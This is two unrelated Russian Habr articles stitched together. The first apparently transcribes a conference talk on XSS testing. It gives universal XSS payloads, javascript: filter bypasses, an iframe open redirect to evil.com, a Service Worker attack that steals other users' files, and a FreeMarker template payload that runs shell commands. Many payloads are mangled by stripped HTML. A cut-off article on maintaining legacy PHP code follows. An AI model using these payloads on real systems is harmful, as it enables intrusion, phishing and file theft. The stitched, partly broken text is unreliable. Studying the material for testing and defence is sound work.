![](https://habrastorage.org/r/w1560/webt/jb/5r/lf/jb5rlft8rtg49wzy9fhqsynnyny.png)
Другими словами, у нас есть набор потенциально опасных символов, которые мы хотим санитизировать. Мы хотим их превратить в HTML entities, чтобы они не встраивались в наш изначальный шаблон, который мы хотим исполнять на пользователя, и нельзя было протолкнуть чужой JS.
Вернемся к этому примеру. Двойная кавычка заинкодилась в ", получается, санитизация есть.
![](https://habrastorage.org/r/w1560/webt/8b/6p/_k/8b6p_kbbqt-pwpvcxav3tredu-g.png)
А если бы не было? Мы попробуем ввести ‘ “ test, и поищем по строке «qweqwe»:
Input: qweqwe **' " test**
F12 -> Ctrl +F -> “qweqwe”
Что мы увидим?
![](https://habrastorage.org/r/w1560/webt/zc/te/et/zcteet2qcqpiqzc2zejzmptjyv0.png)
Мы увидим, что test начал подсвечиваться коричневым. Браузеры помогают нам: они подсвечивают атрибуты, значения атрибутов и названия тегов разными цветами. Атрибуты всегда коричневые, имена тегов — розовые, значения параметров — синие.
Если бы вся строка была синяя, мы могли бы сразу понять, что она попала внутрь значения атрибута, и можно было бы сделать вывод, что XSS нет.
Но здесь предположим, что она есть, и у нас записался атрибут test. И если мы вместо этого атрибута используем обработчик событий, например:
Input: qweqwe **' " onfocus='alert()' autofocus**
Получаем reflected XSS:
![](https://habrastorage.org/r/w1560/webt/vq/ja/hu/vqjahu2p0qfdwjno6lzkkhp2zjq.png)
Это сложно, поэтому я предложу решение в виде **универсального пейлоада** — это строка, которая должна выявлять XSS в разных контекстах и которая не требует дополнительного раскручивания в таких местах.
### XSS – Level 0
Начнем с самой простой строки, на которую натыкались все, кто когда-то интересовался тестированием безопасности:
`alert()`
Посмотрим на примере языка PHP, когда я как разработчик хочу выводить пользователю HTML-код и подтягиваю туда значение параметра, в нашем случае — name:
```
Привет, php echo($\_GET["name"]); ?!
```
Функция echo() в PHP не делает санитизацию, она выводит всё как есть. То есть это типичная reflected XSS-уязвимость. И если мы поместим в параметр name на этой странице наш текущий пейлоад, он срендерится браузером, потому что никакой санитизации нет. Он встраивается как есть, браузер не отличает пользовательскую строку от оригинальной и рендерит.
`/page.php?name=alert()`
```
Привет, alert()!
```
То же самое, если разработчик не берет параметр из URL, а берет из базы данных данные, которые когда-то вводил пользователь:
```
Привет, php $sql=…; echo($sql); ?!
Привет, Васяalert()!
```
Вот пример посложнее:
```
">
```
Что, если мне надо брать значение параметра и отображать его внутри значения атрибута? Как меня могут хакнуть в этом случае?
```
```
Если мы поместим туда наш `alert()`, разумеется, это не сработает. Даже если нет санитизации и вставка небезопасна, то `alert()` просто не выявит эту XSS-уязвимость, потому что нужно закрыть атрибут.
Мы закроем не только атрибут, но еще и тег , куда мы попали, и встроим свой `alert()`, который отрендерится браузером:
`/page.php?name=">alert()`
```
alert()">
```
И раз мы знаем, что есть кейсы, когда мы можем попасть внутрь значения атрибута, почему бы нам сразу не добавить `">` в пейлоад?
### XSS — Level 1
А если мне надо подставить пользовательское значение внутрь ? Подставим туда наш текущий пейлоад:
```
Привет,">alert()
```
Это не сработает, потому что тег нужен браузеру, чтобы отображать имя текущей вкладки. Браузер думает, что раз это всего лишь название вкладки, ему незачем рендерить значение этого тега, и он просто будет рендерить всё как текст.
Здесь нужно добавить перед нашим вредоносным `alert()`.
`/page.php?name=">alert()`
```
Привет,">alert()
```
Таким образом мы закроем оригинальный .
Раз мы знаем, что разработчик может подтянуть наши значения еще и внутрь тега , почему бы сразу не добавить его в пейлоад и не вставлять этот пейлоад везде? Так мы попадаем сразу в несколько ситуаций.
Вроде звучит здорово, но если мы попали внутрь тега `</code>:</p><br/>
<pre><code class="php"><script>
var name="<?php echo($\_GET["name"]); ?>";`
Разработчик написал JavaScript, внедрил его у себя на страницу, но какую-то переменную берет из пользовательского значения. Поместим туда наш текущий пейлоад:
`/page.php?name=">alert()`
```
var name=""></title><script>alert()";
```
Всё не отработает до момента, когда мы закрыли .
Здесь все тоже достаточно тривиально, просто закрываем тег разработчика `</code>: </p><br/>
<p><code>/page.php?name=">alert()`
```
var name="">alert()";
```
Я не буду дальше мучить вас каждым таким тегом.
На самом деле, надо закрывать еще и , и `,` и , значения которых рендерятся браузером как строка.
### XSS — Level 2
Помните, мы попадали внутрь значения атрибута, закрывали его, открывали `alert()`, чтобы выполнить функцию `alert ()`, и мы использовали там двойную кавычку:
```
">
```
А мог ли разработчик обособлять все одинарными кавычками? Браузер это принимает, это вполне нормальное поведение. И если бы мы поместили туда наш текущий пейлоад, разумеется, он бы не сработал: он бы не обнаружил эту XSS-уязвимость, потому что мы закрываем двойную кавычку.
`/page.php?name=">alert()`
```
```
Здесь тоже все просто: достаточно добавить одинарную кавычку перед двойной, и мы закроем и этот кейс.
`php $a = str_replace('', '>', $_GET["name"]); ?>`
```
!
```
А вот если разработчик подумал: «Я допускаю, что пользователь может использовать кавычки, но главное, что он не закрывает мой и не открывает теги вроде `alert()`. Тогда я буду просто энкодить закрывающую угловую скобку, чтобы он не смог закрыть мой ».
Но если мы действительно попробуем закрыть и открыть `alert()`, то ничего не сработает:
`/page.php?name='>alert()`
```
!
```
Здесь достаточно использовать обработчики событий:
`/page.php?name='%20autofocus%20onfocus='alert();`
```
!
```
Возможность писать свои атрибуты уже дает нам гарантированную XSS-уязвимость.
Когда мы попадали внутрь `</code>, то закрывали его, открывали свой <code><script></code> и делали что-то внутри. А могли бы мы продолжить писать JS внутри JS, который написал разработчик? То есть продолжить его код, стараясь не вызвать синтаксическую ошибку. Да, могли бы:</p><br/>
<p><code>/page.php?name=";+alert();//</code></p><br/>
<pre><code class="php"><script>
var name=""; alert();//";`
Есть еще случай, когда разработчику надо подставлять параметры внутрь гиперссылки:
`[">Вернуться](<?php echo($_GET[)`
Цель — редиректнуть пользователя туда, откуда он пришел. Например, пользователь пришел в приложение. Оно редиректит его на аутентификационный поддомен, и когда он аутентифицировался, этот поддомен должен редиректнуть его обратно в приложение.
Можно вызывать JS в гиперссылках, в том числе при редиректах, если использовать схему JS:
`/page.php?returnUrl=javascript:alert()`
`[Вернуться](javascript:alert())`
При нажатии на «Вернуться» сработает функция `alert()`.
Если поставить перед javascript пробел, то это тоже сработает:
`/page.php?returnUrl=%20javascript:alert()`
`[Вернуться]( javascript:alert())`
Сработает не только %20 (пробел), но и %09 (табуляция).
Я покажу в качестве примера XSS, который я нашел на поддомене Mail.ru, — biz.mail.ru.
![](https://habrastorage.org/r/w1560/webt/f1/xm/vi/f1xmvitvna2kle15feme7043txw.png)
У них было приложение. Если вы получали на странице ошибку 500, вас редиректит на страницу с ошибкой 500 и кнопкой «Обновить». При этом передается параметр `from`. Это нужно затем, чтобы, когда пользователь перешел на страницу с ошибкой, он мог нажать кнопку «Обновить» и вернуться туда, где у него возникла ошибка (вдруг она была единичная).
Там передавался полный путь до страницы, и я попробовал вписать туда `javascript:alert()`. Но если строка начинается со слова `javascript`, то туда просто подставляется дефолтное значение HTTPS без mail.ru.
Но если поставить пробел (%20) перед словом `javascript`, регулярка Mail.ru не обрабатывает этот случай и, вполне возможно, выполняет произвольный JavaScript-код на поддомене Mail.ru.
![](https://habrastorage.org/r/w1560/webt/it/g8/qd/itg8qdro7kfkonv-l7dyuodv9hi.png)
![](https://habrastorage.org/r/w1560/webt/hr/t7/xe/hrt7xeqopsovqtxdu-1f4_8rxms.png)
Сценарий атаки: я бы просто скинул ссылку на эту ошибку 500 другому пользователю. И если бы он нажал кнопку «Обновить», у него бы сработал JS, который я захотел.
Подумаем, как разработчик вообще мог починить такую уязвимость. В случае с XSS мы можем просто санитизировать пользовательские специальные символы. Но в случае со схемой JavaScript это не сработает, потому что здесь немного другие символы.
Разработчик может подумать: «А что, если я буду требовать формат URL в том же параметре `from`?»
protocol://host:port/...
Используя синтаксис JavaScript, можно сделать пейлоад, который выглядит как URL, но также вызывает функцию `alert()` при нажатии:
`[Вернуться](javascript://qwe.com/%0aalert())`
Мы вызываем single line comment, комментим всё до переноса строки, переносим строку и выполняем наш `alert()`. Можно сконструировать такой пейлоад.
![](https://habrastorage.org/r/w1560/webt/na/f9/sa/naf9sawkzsypnhuu-tcrreg_8gq.png)
А это сработает, если запретить слово javascript в URL?
Как нам уже известно про HTML entity, браузер в некоторых местах использует эту кодировку неоднозначно. Если слово javascript: заэнкожено в HTML entity, при нажатии на эту ссылку браузер всё равно поймет, что HTML entity — это схема JavaScript, её тоже можно использовать.
```
[Вернуться](javascri
0;t://qwe.com/%0aalert())
javascript: = javascript:
```
Таким образом мы обойдем защиту, если бы она была.
Единственный правильный способ здесь — это требовать, чтобы ссылка начиналась на http(s) или была относительной.
### XSS — Level 3
Наш пейлоад довольно большой и попадает в несколько кейсов:
`'">alert()`
Мне не нравится, что мы вроде делаем крутой пейлоад, а используем `alert()` — самую нубскую вещь, которую можно найти в начале поиска XSS-уязвимостей.
Я предлагаю использовать iframe с обработчиком событий:
`'">`
— тег для отображения страницы внутри страницы. Допустим, вы находитесь на каком-нибудь сайте и, если сайт хочет подгрузить в себя еще один сайт, то разработчик использует этот тег. Также там есть атрибут `src` — адрес до сайта, который он хочет показать у себя. И независимо от того, прогрузился путь или нет, `onload` будет работать всегда.
**Плюсы iframe:**
* Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры.
* Есть волшебный аттрибут `srcdoc`:
Разработчики используют iframe на всяких форумах, дают возможность пользователю помещать его на сайт, но если они не подумали про этот атрибут, то возможно выполнение произвольного JS.
![](https://habrastorage.org/r/w1560/webt/64/u4/tl/64u4tlp8af1vu2lbli8zl2pvd2w.png)
Здесь в качестве значения атрибута `srcdoc` используется просто HTML entity:
![](https://habrastorage.org/r/w1560/webt/-t/rt/-j/-trt-j7_w8x-zemz-l9lkswynfg.png)
* Не раскрутить XSS — есть почти гарантированный open redirect.
Если у вас не получилось раскрутить XSS, например, разработчик решил, что хочет разрешить встраивать пользовательский iframe, но без обработчиков событий и без srcdoc, то у нас всё равно есть уязвимость другого типа — **open redirect**, пейлоад которого выглядит так:
У нас есть iframe, его src указан на другую страницу в интернете, подконтрольную злоумышленнику. Содержимое этой страницы довольно простое — всего лишь скрипт, который задает top.window.location на другую страницу.
![](https://habrastorage.org/r/w1560/webt/y2/vf/2f/y2vf2flhzpqyv_f7ksxaoxftqb8.png)
И если браузер срендерит это на каком-то сайте, произойдет редирект на <https://evil.com>.
У браузера есть иерархия окон, есть окно верхнего уровня и промежуточные окна. И iframe, который подгружается внутри сайта, является промежуточным окном, но при этом он может влиять на окно верхнего уровня. Он может переписать его top.window.location, и возникает уязвимость open redirect.
Лечится это атрибутом sandbox, но никто об этом не задумывается. Если есть разрешение устраивать пользовательский iframe, то таким пейлоадом можно редиректить других пользователей куда угодно.
### XSS — Level 1337
Перейдем на суперхакерский уровень XSS-уязвимостей:
* Пробелы между атрибутами в теге могут замениться слэшем. Тег необязательно закрывать!
* Браузеры закрывают теги за разработчиков.
Таким образом, исходя из этих двух фактов, мы можем прийти от такого пейлоада:
`'">`
К такому:
`'">`
Поменяли все пробелы на слэш и убрали закрывающую скобку у iframe. Есть кейс, когда пейлоад попадает внутрь комментария `()`, нужно сразу закрыть его.
`'">`
Покажу еще один пример из Bug Bounty, он из приватной программы. Это XSS-уязвимость в личных сообщениях. Разработчики обрезали всё, что подходит под паттерн "<…>", чтобы защититься от XSS-уязвимостей. Если пошлем закрытый тег, он обрежется:
![](https://habrastorage.org/r/w1560/webt/d6/su/-c/d6su-cztxi51nvzhe33npfzhlt8.png)
Однако, если мы пошлем незакрытый тег, то он отрендерится:
![](https://habrastorage.org/r/w1560/webt/oe/re/ub/oereub-mk7-saucf4botoblxh38.png)
Фреймворки
----------
Также есть разные фреймворки, например, клиентские AngularJS и VueJS.
Здесь тоже есть специфический пейлоад:
{{7\*7}} --> 49
Если это посчиталось на клиентской стороне и превратилось в 49, то здесь тоже возможна XSS-уязвимость. Нужно использовать constructor.constructor и вызвать alert:
![](https://habrastorage.org/r/w1560/webt/qd/io/oo/qdiooo8fgahrsu_btv61oqabri4.png)
Пейлоад, конечно, зависит от версии AngularJS, поэтому нужно чекнуть версию и подобрать пейлоад из [списка](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs).
Как и в случае с прошлыми примерами HTML entity, для AngularJS не имеет значения, используются ли фигурные скобки или HTML entities. Если разработчик подумал: «Я использую AngularJS или VueJS и не хочу, чтобы мне вставляли фигурные скобки, буду их обрезать», то достаточно поместить HTML entity-представление, и браузер уже срендерит это как надо.
{{7\*7}} -> 49
У VueJS пейлоад тот же самый.
Вот такой пейлоад получился:
'"/test/>{{7\*7}}
… — ситуативно
'"/test/ — если можем записать свой атрибут (onerror, onmouseover, …)
{{7\*7}} — AngularJS, VueJS
Этот пейлоад не покрывает случаи, когда мы попали внутрь тега `alert()`, и нам нужно не закрыть этот тег, а продолжать писать валидный JS (то есть без синтаксических ошибок). Если вы попали в функцию внутри функции внутри объекта, то вам нужно закрыть определенное количество фигурных скобок, нужно смотреть контекст. Универсального решения нет.
Но ведь есть много полиглот-пейлоадов. В чем отличия?
* размер строки меньше, т. к. не предусматривает попадания туда, где нужно использовать схему JavaScript (ссылки);
* включает проверку AngularJS, VueJS;
* расширенное покрытие случаев с записью атрибутов.
Обычные полиглот-пейлоады используют onload='alert()', но у многих элементов нет такого события. В моем это:
'"/test/>{{7\*7}}
Если такой пейлоад небезопасно встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут `test`.
Что это нам даст? JS-то вызовем, потому что мы знаем, что нам достаточно этого для вызова JS, но сразу мы этого не увидим. Поэтому я предлагаю добавлять такой код на каждую страницу, где вы ходите, через расширение:
if(document.querySelectorAll('\*[test]').length>0){
prompt('XSS');
}
![](https://habrastorage.org/r/w1560/webt/io/xy/by/ioxybywm2u5fxgbwni2jvdfgjmo.png)
Дальше идем в DOM и смотрим, в какой элемент мы попали.
Пример:
![](https://habrastorage.org/r/w1560/webt/vt/5k/re/vt5krefyxen7fpzbtxsfl-ppooa.png)
Если мы выполним код, то получаем 1. Соответственно, если какой-то тег уязвим и мы записали туда свой атрибут, то можно дальше раскрутить это. Мы можем вместо test использовать onload или onmouseover, в зависимости от того, что поддерживает этот тег.
Можно внедрить этот код через расширение для браузера.
Почему XSS опасны?
------------------
У JS в браузере по умолчанию есть доступ к пользовательскому контенту:
![](https://habrastorage.org/r/w1560/webt/nc/6a/aa/nc6aaad1m0bxuthv5hryg0mr5-g.png)
**DOM** — это место, где JS может изменять HTML на стороне пользователя. JS может видеть через DOM всё, что вы видите у себя в интерфейсе в веб-приложениях.
Также у него есть доступ к **LocalStorage** и **SessionStorage**. Если разработчик хранит там сессионный ключ или другие данные для аутентификации, то JS легко может взять и потом послать его на другой вредоносный сервер.
![](https://habrastorage.org/r/w1560/webt/bj/ix/zm/bjixzmrgblwfzxmkyvlwjergv_o.png)
Ни для кого не секрет, что **куки** — один из самых распространенных способов аутентификации в веб-приложениях. И у JS есть доступ к любым HTTP-ответам с этого же Origin. То есть, получив инъекцию в какой-то одной странице, мы можем вызвать любую другую страницу, на которой содержится чувствительная информация.
Например, сделаем запрос к странице b, где у нас есть API-ключи, и попросим вывести ответ:
![](https://habrastorage.org/r/w1560/webt/hj/wm/wg/hjwmwg4kc41nlm5u5tmdtfi7dtw.png)
Вместо страницы b могли быть данные для аутентификации или другие чувствительные данные.
JS может взаимодействовать **с установленными программами и расширениями**.
У JS есть **экспериментальные технологии** (Service Workers, Push API, ...).
### Безопасно ли, что у JS есть столько доступа ко всему?
Существует много вопросов, связанных с безопасностью. Разработчики браузера используют Origin для разграничения доступа JS между разными сайтами.
Origin = protocol + hostname + port
![](https://habrastorage.org/r/w1560/webt/qe/ia/i8/qeiai8alijlymxrxdho6b_33_8u.png)
Также у браузеров есть Same-Origin-Policy (SOP) — фундаментальная защита, на которой основывается безопасность в вебе.
JS, выполняемый на одном Origin, не может получить доступ к содержимому другого Origin.
Можно сделать вывод, что XSS на одном Origin не опасен для другого Origin. У нас есть какой-нибудь поддомен, где можно выполнять пользовательский JS, потому что там не хостится ничего серьезного.
Но не всегда, потому что есть легальные обходы SOP. Разработчикам необходимо связываться с другими сайтами на клиенте, ходить на другие сайты, читать ответы, что-то туда посылать и что-то динамически обновлять. Они используют для этого CORS, WebSocket, PostMessage, JSONP, Flash.
Куки, поставленные на одном порту, можно прочитать на любом другом порту.
Есть экспериментальные фичи JS, которые иногда тоже несут угрозу для SOP. Иногда это приводит к неожиданным результатам.
Я приведу приватный пример из Bug Bounty — XSS в S3-бакете, позволяющий красть чужие файлы.
Контекст этого веб-приложения: это CRM, где можно заводить сделки с потенциальными клиентами и заполнять информацию о них, в том числе загружать файлы.
![](https://habrastorage.org/r/w1560/webt/sv/7h/m0/sv7hm0mq30pxfvgyhcya3h9a4ig.png)
Я подумал: «Что будет, если загрузить HTML-страницу?»
![](https://habrastorage.org/r/w1560/webt/rp/0f/16/rp0f167pu2uinzc6at65swu4ftk.png)
Обычная страница, где я хочу посмотреть, на каком домене она выполняется. И она успешно загружается.
![](https://habrastorage.org/r/w1560/webt/zs/xx/v_/zsxxv_qqbagzk1omxx-kyualty0.png)
После открытия страницы сначала кажется, что XSS находится не в приложении, а в S3-бакете.
![](https://habrastorage.org/r/w1560/webt/zy/xm/la/zyxmlaifmxndmkgkqpkp6o_ghlk.png)
Они берут файл пользователя, кладут у себя в бакет, и дальше, когда пользователь хочет получить доступ к файлу, он делает это в приложении, но приложение редиректит его в S3-бакет, где хостится этот файл.
При попытке открыть файл на сервере генерируется подпись запроса, по которой файл будет доступен какое-то время. Нельзя просто так получить файл, надо, чтобы запрос был подписан. Это происходит на серверной стороне приложения, когда вы загрузили этот файл и хотите его открыть. На сервере происходит генерация подписи, и приложение редиректит пользователя на файл в S3-бакете, где эта подпись уже включена в запрос. По этой подписи файл будет доступен какое-то время.
![](https://habrastorage.org/r/w1560/webt/bs/mc/uy/bsmcuy1rfxztamemi5ljifnmejq.png)
Очевидно, что JS выполняется на другом Origin, потому что S3-бакет – поддомен Amazon, он не имеет никакого влияния на другой домен, на котором хостится основное приложение.
![](https://habrastorage.org/r/w1560/webt/ug/du/av/ugduavwfmuflvqrhq-ghjzpek3c.png)
На первый взгляд, XSS бесполезны, но существуют следующие факторы:
* возможность загрузить любой файл;
* возможность выполнять произвольный JavaScript;
* все файлы, в том числе других пользователей, кладутся в одну и ту же папку (например, в корень);
* ссылкой на загруженный файл можно поделиться с кем угодно.
Эти факторы позволяют красть чужие файлы через перезапись ответа Service Worker. Для этого нужно создать и загрузить serviceworker.js:
![](https://habrastorage.org/r/w1560/webt/er/k6/qt/erk6qtcv5ru_8xitswhqiysqbkw.png)
Навешиваемся на событие fetch, переписываем ответ сервера на код iframe src и говорим, что тип ответа — text/html. Каждый запрос пользователя будет возвращать одинаковый ответ благодаря этому Service Worker.
Также загрузим exploit.html:
![](https://habrastorage.org/r/w1560/webt/eq/_a/m4/eq_am4at7dhhhzvdfhzpc8s0lau.png)
Это страница, которая нужна для эксплуатации этого Service Worker. Регистрируем его, указывая путь до него с подписями, потому что мы хостим этот serviceworker.js в этом же S3-бакете. И говорим, что скоуп — корень.
Что произойдет, если кто-то откроет exploit.html:
* В браузере зарегистрируется Service Worker
* При открытии любой страницы этого сайта, начиная от директории с serviceworker.js, ответ перепишется на:
* В заголовке Referer браузер передаст путь, на котором сработал Service Worker.
От лица жертвы это будет выглядеть так:
![](https://habrastorage.org/r/w1560/webt/va/o3/3y/vao33yluynba7zvxhv3nlz1gb9u.png)
Я пошлю фишинговое письмо с короткой ссылкой на свой exploit.html-файл. Зарегистрирую у пользователя Service Worker. Дальше, если этот пользователь захочет открыть файл у себя в организации, ответ перепишется на iframe, который ведет на мой сайт.
![](https://habrastorage.org/r/w1560/webt/b2/zu/sq/b2zusqfhroyvz4bkf8yjm_rbefs.png)
И я получу примерно такой запрос:
![](https://habrastorage.org/r/w1560/webt/bp/lw/km/bplwkmsisqeso-yetqpvfeyjex0.png)
В Referer будет полный путь до файла, где пользователь захотел открыть свой файл. У меня есть полный путь с подписями, поэтому я могу открыть его, и это дает мне полный доступ к этому файлу в дальнейшем.
Бонус
-----
Мало кто задумывается, что письма — это HTML-код. Например, есть такое письмо от Trello:
![](https://habrastorage.org/r/w1560/webt/gz/u_/2m/gzu_2m58uymajs0rmargvkh-kb4.png)
В письмо тоже подтягиваются пользовательские значения, возможно, там есть XSS. Но письма мы смотрим в почтовых клиентах (обычно Mail.ru, Яндекс) и, разумеется, XSS в письме ведет к XSS в почтовом клиенте, а это уже другой скоуп, который никак не влияет на организацию, которая послала это письмо.
Но здесь тоже есть XSS-уязвимость, она называется **Email template's HTML injection**. Вместо вызова JS мы встраиваемся в HTML-шаблон, который прислала нам компания.
Пейлоад выглядит так:
```
-->[qwe](//qwe.com)![](x)${7*7}{{7*7}}<!--
49 = SSTI*
*SSTI – https://portswigger.net/blog/server-side-template-injection</code>
```
Примерно как пейлоад для поиска XSS, но здесь мы не вызываем функцию JS, а встраиваем наши HTML-теги в шаблон письма. Также здесь есть ${7*7}{{7*7}}, как для AngularJS, только AngularJS рендерится на клиентской стороне, а этот пейлоад призван проверять возможность рендера клиентского значения через шаблонизаторы.
Пример уязвимого шаблона:
![](https://habrastorage.org/r/w1560/webt/q5/sj/0d/q5sj0ddg4y9ixlxvojxpg2wc-ic.png)
На первый взгляд — обычное письмо. Но если посмотреть на тему, то можно увидеть, что там есть HTML-теги, гиперссылка и HTML-коммент.
Идея в том, что мы добавляем нашу вредоносную гиперссылку, комментим оригинальное письмо и отправляем это письмо кому угодно.
Так как мы можем контролировать гиперссылку и контекст, мы можем зафишить кого-то невнимательного, потому что ссылка будет вести на левый сайт.
Недавно мне пришло такое письмо:
![](https://habrastorage.org/r/w1560/webt/2s/cl/hf/2sclhf-jrgy2vgwus8m2dqc91y4.png)
Кто-то пытался эксплуатировать абсолютно то же самое: приглашали присоединиться к организации. Разумеется, это фишинг.
Если ${7\*7} -> 49 считается не на клиентской стороне, а на серверной, то это будет уязвимость, которая называется **SSTI (Server Side Template Injection)**. Ее суть в том, что разработчики используют какие-то шаблонизаторы, потом они через эти шаблонизаторы прогоняют свои HTML-шаблоны и, если там есть что-то похожее на template expression language, они это рендерят.
Я покажу еще один пример из Bug Bounty. Это был RCE (remote code execution) через инъекцию шаблона во FreeMarker.
Это приложение позволяет создавать свои события, свою кампанию отсылки имейлов.
![](https://habrastorage.org/r/w1560/webt/l1/rs/qd/l1rsqd_e6ge4bjdrybvazwtuhfo.png)
Имейлы здесь кастомные. Предоставляем HTML, который нужно разослать. Уязвимость была уже в том, что можно послать любой HTML с официального адреса этой компании кому угодно.
Но была еще более серьезная уязвимость. Она заключалась в том, что, если загрузить туда ${7*7} или #{7*7}, при превью этого шаблона у нас выведется 49:
![](https://habrastorage.org/r/w1560/webt/rc/g8/ga/rcg8ga2ouoeqin6padszr4njhze.png)
Путем недолгих ковыряний я понял, что используется шаблон FreeMarker. А у шаблонизаторов FreeMarker есть такие штуки:
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}
Достаточно вызвать, использовать его и передать ему в качестве параметра какую-то shell-команду, например, id.
![](https://habrastorage.org/r/w1560/webt/mn/vr/nt/mnvrntulci1bgbr-6yornwsk3py.png)
И действительно показывает, что root:
![](https://habrastorage.org/r/w1560/webt/65/8l/ix/658lixfrhea-d6llzzcbnpejo2q.png)
Выводы
------
Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что **интернет — это небезопасное место**.
Нужно всегда помнить, что **нельзя доверять пользовательскому вводу**. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.
**Нужно проверять свое приложение**, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.
**Используйте универсальный пейлоад**, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.
В любом приложении **всегда есть уязвимости, в том числе XSS**. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.
> Это был доклад с одного из предыдущих Heisenbug, а мы тем временем активно готовим следующий: с 5 по 7 октября состоится онлайн-конференция **[Heisenbug 2021 Moscow](https://heisenbug-moscow.ru/?utm_source=habr&utm_medium=569270)**. Там будут десятки новых докладов по тестированию, и описания нескольких из них уже можно прочитать на сайте. | https://habr.com/ru/post/569270/ | null | ru | null |
# Советы по работе с легаси кодом в PHP
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ac6/315/ea9/ac6315ea960b2705201820949387910d.png)Сколько раз, приходя в новую компанию, вы получали в руки [“большой комок грязи](https://en.wikipedia.org/wiki/Big_ball_of_mud)“, к которому каким-то образом нужно прикручивать новый функционал?
Без документации.
Без контроля версий.
Без какой-либо надежды на душевное равновесие в будущем.
Большинство статей и книг, которые я читал, всецело фокусируются на создании нового программного обеспечения. Однако, по моему личному опыту я обнаружил, что мои самые распространенные задачи — это не создание новых систем, а поддержание старых трещащих по швам страхолюдин, изначальный архитектор которых уже давно покинул компанию.
Это вполне реальная и чересчур распространенная ситуация, но говорим мы о ней не так уж и часто (если только не нужно покритиковать ныне ушедшего автора, который об этом точно не узнает, чтобы защитить себя).
Именно поэтому я решил предложить вашему вниманию это небольшое руководство, которое раньше существовало только в моем собственном сознании. И вместе с тем призываю вас отнестись ко всему описанному ниже с долей скептицизма и не рассматривать его в качестве предписаний из какого-либо авторитетного источника.
Советы по отладке
-----------------
Помимо наличия подушки, в которую можно покричать, и обильного количества кофеина, что вообще можно посоветовать перед проведением хирургических операций одному из кошмаров Кроненберга?
### Разбиение пополам (Half Splitting)
Процесс [разбиения пополам](https://www.ecmweb.com/maintenance-repair-operations/article/20889049/the-beauty-of-halfsplitting) — это старый приемчик со времен, когда я работал техником-связистом. Я нахожу этот фундаментальный принцип очень полезным, особенно при попытке выяснить, где же затаилась ошибка.
#### Пример А: База данных или код?
Допустим, у вас возникли проблемы с получением данных о клиентах. Это проблема проистекает из базы данных или из кода? Вы можете вставить SQL-запрос непосредственно в клиент MySQL, чтобы сразу понять, с чем конкретно связан проблема.
#### Пример Б: Здоровенный контроллер.
Допустим, у вас есть злополучный скрипт, который дает сбой. Когда-то давно мне приходилось работать с контроллер длиной в 45 000 строк. Нет, это не опечатка.
*К тому же он был процедурным, прямо посреди MVC framework, если до этого вы еще не прониклись моей болью.*
Я бы даже не пытался постигать такой монолит плохих практик. Я бы просто всандалил оператор `die()` или `error_log()` где-то около строки 22500 и посмотрел, присутствует ли еще ошибка.
Затем убедившись, что переменная сеанса все еще неверна или я получаю сообщение об ошибке, я бы продолжил в том же духе: поставил бы те же проверки в районе строки 11250. И так далее и тому подобное.
Это глупо, это примитивно. Но очень часто это самый быстрый способ отладить что-то, особенно если это процедурно написанный код.
### Пользовательское приемочное тестирование (User Acceptance Testing)
Я понимаю, что это то, что обычно приходит на ум, когда вы создаете новое программное обеспечение, однако все-таки выслушайте меня.
Как я уже говорил о превратностях работы с “большим комом грязи”, тут невозможно быть слишком осторожным.
Хорошей практикой, которая стоит на страже моего душевного равновесия, является то, что я сразу буду уделять особое внимание одной или двум основным частям функционала. Тому, из-за чего мне могут позвонить в 2 часа ночи, если оно не работает. Хорошим примером в приложениях электронной коммерции является возможность купить продукт.
Таким образом, у меня будет какой-нибудь конкретный продукт, для которого я точно знаю цену и доставку. После любого изменения, даже до того, как я закоммичу его в систему контроля версий, я залогинюсь как покупатель, проверяющий этот продукт, добавлю его в корзину и внимательно все просмотрю, ничего ли не изменилось.
Это до боли легко и просто. Мне бы очень хотелось, чтобы вместо слепой веры в свою непогрешимость и тот факт, что у них не бывает синтаксических ошибок, это практиковали многие сторонние компании, с которыми я сотрудничал.
### Последнее изменение файла
Вы когда-нибудь встречали самодельные системы контроля версий, которые выглядели бы следующим образом?
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b6e/a16/57e/b6ea1657e78bbeb28da2026fa5982d10.png)*oh dear*
Иногда сортировка по дате последнего изменения может помочь вам понять, от какой из двадцати копий можно избавиться.
Берем все под личный контроль
-----------------------------
В самом начале, пока вы только готовитесь к работе, можно предпринять несколько шагов, чтобы защитить себя.
### Бэкапим все
> *“Все, что не сохранено, будет потеряно”*
>
> — экран завершения работы Nintendo Wii
>
>
Если еще не настроено автоматическое резервное копирование, то при необходимости создайте резервную копию вручную.
Вам нужны бэкапы:
* изображений
* баз данных
* кода
Иногда в кодовую базу может быть вмешано много мусора, например, adobe-файлы от дизайнера, фотографии в полном разрешении от фотографа и так далее.
Я бы удалял их по ходу дела и определенно до того, как вы начнете думать о контроле версий вашей локальной копии производственного каталога.
### Ограничиваем доступ
> *“Легче попросить прощения, чем получить разрешение” —*
>
> адмирал Грейс Хоппер
>
>
У кого еще есть доступ? Иногда на этот вопрос трудно найти ответ. Если вы сомневаетесь, то знайте, что проще попросить прощения, чем разрешения. Просто смените пароль и посмотрите, кто придет к вам. Вы также можете любезно поинтересоваться, к чему им особенно нужен доступ.
Я не могу сосчитать количество раз, когда на моей памяти производственный FTP-сервер использовался для хранения общих документов или архивов Outlook.
Если вы по какой-то причине не можете использовать службы обмена файлами, такие как Dropbox или Google Drive, по крайней мере, создайте учетные записи FTP, которые ограничены выбранным каталогом. Хотя бы вы перестанете хранить PDF-файлы и шаблоны электронной почты в своей кодовой базе.
### Контроль версий и локальная среда разработки
> *“Да, с помощью git легко отстрелить себе ногу, но также легко вернуться к предыдущей ноге и объединить ее с текущей ногой.”*
>
> — Джек Уильям Белл
>
>
